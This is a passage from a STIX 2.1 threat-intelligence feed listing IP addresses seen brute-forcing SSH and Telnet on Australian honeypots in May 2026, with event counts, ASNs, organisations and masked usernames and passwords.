      "id": "indicator--eda128b3-3cd9-40f1-98dc-3b75fb63e66d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.171.240.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 149933. Organisation(s): PT Sahabat Manjur Grup.",
      "id": "indicator--34a74e6c-f44a-484d-a837-88163a38f624",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.191.171.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, ***, 3**********4, d***d, f*****r. Passwords observed (masked): 1***5, 1******a, 3***********4, 3**********4, A*******3.",
      "id": "indicator--75f2b4b4-de8f-4e23-bf81-6e1e87231755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--d44b431f-d071-4a25-8798-66a00bc38268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.138.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45117. Organisation(s): Ishans Network. Usernames observed (masked): r**t, s***1, 3**********4, a***l, a***a. Passwords observed (masked): 1****6, 3***********4, 3**********4, A********4, a*******3.",
      "id": "indicator--6b2a0422-95b6-4141-a2a4-57c2ea9b5512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.253.162.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 209604. Organisation(s): 2e Telekomunikasyon Ltd Sti. Usernames observed (masked): r**t, ***, 3**********4, f*****r, t***4. Passwords observed (masked): 1***5, 1******a, 3***********4, 3**********4, A*******3.",
      "id": "indicator--49bd0e26-57df-4d45-889d-3b370a8446ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.175.83.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t, **, 3**********4, a**x, s*****m. Passwords observed (masked): 0****9, 1*******m, 1****6, 3***********4, 3**********4.",
      "id": "indicator--61a9aab5-cae9-46ef-9822-d7e4f5b0dcf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.241.88.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, 3**********4, r**t, s******n. Passwords observed (masked): 3***********4, 3**********4, @********4, p**s, p**********3.",
      "id": "indicator--9f66db7c-ff4e-41ba-87ca-444e4c84a881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.252.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): 3**********4, r**t, j**e, p****c, s***1. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1******x.",
      "id": "indicator--73097140-92c8-43ad-a1a0-daaac93aa5ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.18.234.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u**r. Passwords observed (masked): ***.",
      "id": "indicator--82012812-b4e4-4687-82f5-3ab09bf94f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.227.188.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): u***1, 3**********4, i**o, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, a*****3, q****w.",
      "id": "indicator--53e47396-c160-4e12-ba20-1b606ab5bdc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): f*****r, 3**********4, r**t, ***, n****s. Passwords observed (masked): 3***********4, 3**********4, 1***5, A*******3, D********3.",
      "id": "indicator--e97e5b91-4f61-420c-9d3c-3f86733365cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.233.87.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 267797. Organisation(s): EMPRESA NACIONAL DE TRANSMISION ELECTRICA ENATREL.",
      "id": "indicator--66a1995f-9f85-47c5-aa94-27bcc2857794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.226.160.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--dbe7cf55-e7ee-4243-b2a9-ecf351480d72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.238.170.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T04:15:11.000Z",
      "valid_until": "2026-06-25T04:15:09.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LY. ASN(s): 329435. Organisation(s): Aljuman-Aljadeed.",
      "id": "indicator--9b8e160b-efa0-46db-a147-a402d0705ea3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.209.0.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--fb702dd9-9896-4d0f-8061-03be4e128975",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.166.240.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 545. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, u**r, s*****t, c***o. Passwords observed (masked): 1****6, a***n, 1**4, 1***5, p******d.",
      "id": "indicator--16537145-2e1a-458c-ba12-838430153619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.148.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 365. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, d*******r, 1**4. Passwords observed (masked): 1**4, P******d, a***n, a******3, p******d.",
      "id": "indicator--3d70b19c-c225-4110-982a-2beb82bb2598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.151.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--df71af7b-4cbb-4368-9666-a4de4e4d39b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 202561. Organisation(s): High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti..",
      "id": "indicator--2f4e8859-f64f-41f6-9309-e17abb0ccad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.117.105.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--35c8f131-2a9f-477c-ac72-0d85cfe35220",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.85.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--4b5f62b9-da76-4be7-8296-23f04bfc6878",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.86.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--128c7725-44b8-4d43-8403-239b172aa0db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.86.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--32c4698f-8f4a-46b2-ae52-5056f17da81c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.87.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--0693e68d-3e2d-459c-b733-d1b30fabdb1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.87.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28536. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--a5823db7-5467-4a07-a003-544477135494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.232.87.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270603. Organisation(s): R R DE FRANCA SOUSA. Usernames observed (masked): r**t, t**t, 3**********4, h****n, m*******t. Passwords observed (masked): ***, 3***********4, 3**********4, Q******1, *.",
      "id": "indicator--27b5bc13-2f83-4bb8-b38b-d1ce8890c1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.85.247.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--a57323c4-65db-48de-9d4f-8c79fe463317",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.144.24.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--ca037ebc-4f59-4ac4-8995-67665c95fa11",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.62.50.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: OM. ASN(s): 204170. Organisation(s): Awaser Oman LLC.",
      "id": "indicator--2c186589-3277-491a-b721-f25475de719f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.167.33.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******5, H**********************3.",
      "id": "indicator--48d013b5-7c6f-4cae-bd5c-9b6ae25fc650",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.189.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--fb9a7c41-026c-473c-8175-75772b44bb2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.37.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company.",
      "id": "indicator--8072d75e-cddd-4602-bd44-d6ae772de4db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.0.4.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T05:15:10.000Z",
      "valid_until": "2026-06-25T05:15:08.000Z"
    },
    {
      "created": "2026-05-24T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, s******e, t*******k, t***1. Passwords observed (masked): 1**4, 1***5, 1*******9, 3***********4, 3**********4.",
      "id": "indicator--81021643-535f-443d-9ea5-22f149a4b43f",
      "labels": [
        "bruteforce"
      ],
